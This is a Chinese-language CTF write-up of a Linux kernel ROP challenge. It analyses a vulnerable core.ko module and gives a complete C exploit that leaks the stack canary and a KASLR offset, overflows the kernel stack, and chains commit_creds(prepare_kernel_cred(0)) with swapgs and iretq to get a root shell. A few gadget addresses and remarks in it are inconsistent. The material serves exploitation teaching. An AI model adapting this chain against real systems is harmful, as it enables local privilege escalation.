再从一道题熟悉一下Kernel ROP的流程

题目分析

附件

给出了四个文件:

  • bzImage内核镜像
  • core.cpio打包的文件系统
  • start.sh启动脚本
  • vmlinux内核源码

先用file查看core.cpio文件,发现是gzip压缩过的,所以先利用gunzip解压出cpio文件

1
gunzip core.cpio.gz

再使用cpio提取出文件系统

1
cpio -idmv < rootfs.cpio

其中有一个gen_cpio.sh是打包core.cpio的命令。

init

再看一下init文件中的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

重点注意到cat /proc/kallsyms > /tmp/kallsymsinsmod /core.ko,可以得到两处信息:

  • 即使没有root权限查看/proc/kallsyms,但是可以通过/tmp/kallsyms定位函数在内存的的加载地址。
  • 漏洞应该存在于core.ko中

需要注意的是poweroff -d 120 -f &的作用是定时关机,为了避免不必要的麻烦,注释掉这一行即可

start

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

开启了Kaslr,所以内核内存地址加载地址具有随机化。

为了方便调试,可以将kaslr保护关闭

调试时的start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-gdb tcp::1234 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

代码分析

init_module

image-20241009211734387

/proc 文件系统的根目录下创建一个名为 "core" 的文件,可以在/proc目录下找到一个名字为core的文件。

core_ioctl

image-20241009211744744

根据传入的参数分别对应三个功能

core_read

image-20241009211753053

关键点在copy_ti_user,可以实现从内核栈复制数据到用户栈。

core_write

image-20241009211801361

copy_from_user可以实现从用户栈中复制数据到内核的全局变量name中

core_copy_func

image-20241009211809438

判断a1大小,然后利用qmemcpy从全局变量name中复制a1范围到内核栈中v2处。a1是有符号数,但是作为qmemcpy的rdx参数时却转变为无符号的,所以利用负数绕过判断,造成溢出。

利用思路

泄露地址

由于开启了kaslr,所以需要泄露内核函数地址然后计算出偏移。

注意到core_read中的

image-20241009211840700

off值可以由我们从ioctl控制,所以可以利用copy_to_user,将内核栈中的数据复制到用户栈,然后再输入用户栈的内容即可完成泄露。注意到core.ko中开启了canary,所以需要连带canary一并泄露出来。

溢出构造ROP

先通过core_write构造ROP链保存到name中,然后通过core_copy_func将name处内存复制到内核栈中

image-20241009211916211

可以完成溢出。

思路就是这样,接下来就是构造ROP:

  • 执行commit_creds(prepare_kernel_cred(null))
  • 返回用户态
    • 执行swapgs
    • 执行iret
  • 执行system(‘/bin/sh’)

利用ropper寻找gadget

虽然比ROPgadget快,但是也是非常之卡,还容易卡死机

1
2
3
4
5
6
7
0xffffffff81000091: ret;
0xffffffff81000e40: pop rdi; ret;
0xffffffff810ca8f0: pop rcx; ret;
0xffffffff810a0f49 pop rdx; ret;
0xffffffff8106a6d2 mov rdi,rax;jmp rdx
0xffffffff81a012da swapgs;popfq;ret
0xffffffff81050ac2 iretq

由于没有直接的mov rdi,rax;ret;所以利用pop rdx;jmp rdx实现

原始无pie的vmlinux基址是0xffffffff81000000

1
commit_creds`的地址是`0xffffffff81000000+0x9c8e0
1
prepare_kernel_creds`的地址是`0xffffffff8109cce0

这些全是no-pie情况下的地址。所以为了得到真实的函数地址,所以通过之前泄露的函数地址计算出和no-pie下的函数地址的偏移

offset,这个偏移再加上no-pie的地址就是真实地址。

举个例子:

泄露的地址是proc_reg_unlocked_ioctl+49的函数地址为leak_addr

proc_reg_unlocked_ioctl+49 0xffffffff811dd6a0+49

1
offset = leak_addr - (0xffffffff811dd6a0+49)

之后计算commit_creds、prepare_kernel_creds等gadget时都是需要加上offset

所以构造的ROP就是

1
unsigned long fake_name[] = {0,0,0,0,0,0,0,0,canary,0,pop_rdi_ret,0,prepare_kernel_cred,pop_rdx_ret,commit_creds,mov_rdi_rax_jmp_rdx,swapgs_popfq_ret,0,iretq_ret,getshell,user_cs,user_eflags,user_rsp,user_ss};

EXP利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>
#include<sys/ioctl.h>

unsigned long int user_cs,user_ss,user_rsp,user_eflags;
void save_iret_data() {
__asm__ __volatile__ ("mov %%cs, %0" : "=r" (user_cs));
__asm__ __volatile__ ("pushf");
__asm__ __volatile__ ("pop %0" : "=r" (user_eflags));
__asm__ __volatile__ ("mov %%rsp, %0" : "=r" (user_rsp));
__asm__ __volatile__ ("mov %%ss, %0" : "=r" (user_ss));
}

void getshell(){
system("/bin/sh");
}
/*
0xffffffff81000091: ret;
0xffffffff81000e40: pop rdi; ret;
0xffffffff81288ff7: mov rdi, rax; rep movsb byte ptr [rdi], byte ptr [rsi]; ret;
0xffffffff810ca8f0: pop rcx; ret;
0xffffffff810a0f49 pop rdx; ret;
0xffffffff8106a6d2 mov rdi,rax;jmp rdx
0xffffffff81a012da swapgs;popfq;ret
0xffffffff81050ac2 iretq
*/

int main() {
save_iret_data();

int fd1 = open("/proc/core", O_WRONLY);
if (fd1 < 0) {
perror("open");
exit(1);
}
char buf[96];
memset(buf, 0, 96);
// ioctl(fd1,0x6677889C,96);
// ioctl(fd1,0x6677889B,buf);
ioctl(fd1,0x6677889C,64);
ioctl(fd1,0x6677889B,buf);

printf("buf_addr: %p\n",buf);
printf("canary: %p\n",*(unsigned long *)buf);
printf("leak_addr: %p\n",*(unsigned long *)(buf+32));

unsigned long canary = *(unsigned long *)buf;
unsigned long leak_addr = *(unsigned long *)(buf+32);

unsigned long offset = leak_addr - 0xffffffff811dd6d1;
printf("base_kaddr: %p\n",offset);

unsigned long prepare_kernel_cred = offset + 0xffffffff8109cce0;
unsigned long commit_creds = offset + 0xffffffff8109c8e0;
printf("prepare_kernel_cred: %p\n",prepare_kernel_cred);
printf("commit_creds: %p\n",commit_creds);

unsigned long pop_rdi_ret = offset + 0xffffffff81000b2f;
unsigned long pop_rcx_ret = offset + 0xffffffff810ca8f0;
unsigned long mov_rdi_rax = offset + 0xffffffff81288ff7;
unsigned long pop_rdx_ret = offset + 0xffffffff810a0f49;
unsigned long mov_rdi_rax_jmp_rdx = offset + 0xffffffff8106a6d2;
unsigned long swapgs_popfq_ret = offset + 0xffffffff81a012da;
unsigned long iretq_ret = offset + 0xffffffff81050ac2;

unsigned long fake_name[] = {0,0,0,0,0,0,0,0,canary,0,pop_rdi_ret,0,prepare_kernel_cred,pop_rdx_ret,commit_creds,mov_rdi_rax_jmp_rdx,swapgs_popfq_ret,0,iretq_ret,getshell,user_cs,user_eflags,user_rsp,user_ss};

printf("size",sizeof(fake_name));
write(fd1, fake_name, sizeof(fake_name));
ioctl(fd1,0x6677889A,0xffffffffffff0000+sizeof(fake_name));


return 0;
}

image-20241009212304196

成功提权!